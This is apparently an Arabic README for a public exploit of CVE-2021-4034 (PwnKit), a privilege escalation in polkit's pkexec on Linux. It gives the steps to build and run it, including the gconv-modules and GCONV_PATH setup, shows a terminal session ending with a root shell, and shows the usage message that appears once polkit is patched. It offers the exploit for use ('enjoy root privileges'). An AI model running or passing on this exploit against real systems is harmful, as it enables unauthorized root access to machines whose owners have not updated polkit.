
استغلال لثغرة CVE-2021-4034، وهي ثغرة تصعيد صلاحيات في polkit pkexec، توفر غلاف جذر (root shell) على أنظمة لينكس المعرضة للخطر.
فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بصلاحيات الجذر.
إذا كان الاستغلال يعمل، ستحصل على صلاحيات الجذر فورًا:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
تحديث polkit على معظم الأنظمة سيصلح هذا الاستغلال، وبالتالي ستحصل على رسالة الاستخدام وسيخرج البرنامج:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit (المعروف سابقًا باسم PolicyKit) هو مكوّن للتحكم في الصلاحيات على مستوى النظام في أنظمة التشغيل الشبيهة بيونكس. يوفر طريقة منظمة للعمليات غير المصرّح لها بالتواصل مع العمليات المصرّح لها. من الممكن أيضًا استخدام polkit لتنفيذ الأوامر بصلاحيات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحيات الجذر).